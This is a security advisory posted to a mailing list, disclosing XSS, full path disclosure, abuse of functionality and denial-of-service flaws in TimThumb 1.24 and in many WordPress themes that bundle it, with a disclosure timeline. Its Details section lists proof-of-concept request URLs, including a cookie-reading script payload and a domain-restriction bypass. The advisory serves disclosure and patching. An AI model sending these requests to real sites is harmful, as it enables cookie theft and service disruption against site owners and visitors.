Hello list! I want to warn you about Cross-Site Scripting, Full path disclosure, Abuse of Functionality and Denial of Service vulnerabilities in TimThumb and multiple themes for WordPress. ------------------------- Affected products: ------------------------- Vulnerable are TimThumb and all web applications (particularly themes for WordPress) which are using it. It's such themes as Live Wire Edition, The Gazette Edition, Live Wire 2.0 and Live Wire Style. And also the next commercial themes (by WooThemes): Bookclub, Fresh News, BoldNews, Placeholder, Biznizz, Auld, Listings, Elefolio, Chapters, Continuum, Diner, Skeptical, Caffeinated, Crisp, Sealight, Unite, Estate, The Morning After, Coda, Inspire, Apz, Spectrum, Diarise, Boast, Retreat, City Guide, Cinch, Slanted, Canvas, Postcard, Delegate, MyStream, Optimize, Backstage, SophisticatedFolio, Bueno, Digital Farm, Headlines, f0101, Royalle, Exposure, Therapy, Rockstar, Daily Edition, Object, Antisocial, Coffee Break, Mortar, Big Easy, Mainstream, Groovy Photo, Groovy Blog, Feature Pitch, Suit and Tie, The Journal, myweblog, Aperture, Meta-Morphosis, Bloggingstream, The Station, Groovy Video, Productum, Newsport, Irresistible, Cushy, WooTube, Foreword Thinking, Geometric, Abstract, Busy Bee, BlogTheme, Gotham News, THiCK, Typebased, Over Easy, Ambience, Snapshot, Open Air, Fresh Folio, Papercut, ProudFolio, VibrantCMS, Flash News, NewsPress, The Original Premium News and other themes for WP. Vulnerabilities in these themes are similar to holes in above-mentioned themes. Vulnerable are TimThumb 1.24 and previous versions (and themes for WP with these versions). XSS is possible only in old versions of the program. In versions before 1.22 the AoF is possible even with turned on domain restriction via using of bypass technique. Also it's possible to conduct DoS attacks, if large file is placed at the same site with php-script or at allowed domain. Or if external sites are allowed in the script, then it's possible to conduct AoF and DoS attacks. In version TimThumb 1.25 the vulnerabilities were mostly fixed. ---------- Details: ---------- XSS (WASC-08): http://site/path/thumb.php?src=%3Cbody%20onload=alert(document.cookie)%3E.jpg Full path disclosure (WASC-13): http://site/path/thumb.php?src=http:// http://site/path/thumb.php?src=http://site/page.png&h=1&w=1111111 http://site/path/thumb.php?src=http://site/page.png&h=1111111&w=1 Abuse of Functionality (WASC-42): http://site/path/thumb.php?src=http://site&h=1&w=1 http://site/path/thumb.php?src=http://site.google.com&h=1&w=1 (bypass of domain restriction, if such restriction is turned on) DoS (WASC-10): http://site/path/thumb.php?src=http://site/big_file&h=1&w=1 About such AoF and DoS vulnerabilities I wrote in article Using of the sites for attacks on other sites (http://lists.grok.org.uk/pipermail/full-disclosure/2010-June/075384.html). ------------ Timeline: ------------ 2011.02.01 - informed developers from WooThemes about holes in their themes. 2011.02.04-12 - conversation about fixing holes in all their themes for WP. 2011.02.07 - announced at my site. 2011.02.08 - informed developer of TimThumb. 2011.02.13 - developer of TimThumb released version 1.25. 2011.02.13 - developers from WooThemes begun updating TimThumb in all their themes. 2011.04.13 - disclosed at my site. I mentioned about these vulnerabilities at my site (http://websecurity.com.ua/4910/). Best wishes & regards, MustLive Administrator of Websecurity web site http://websecurity.com.ua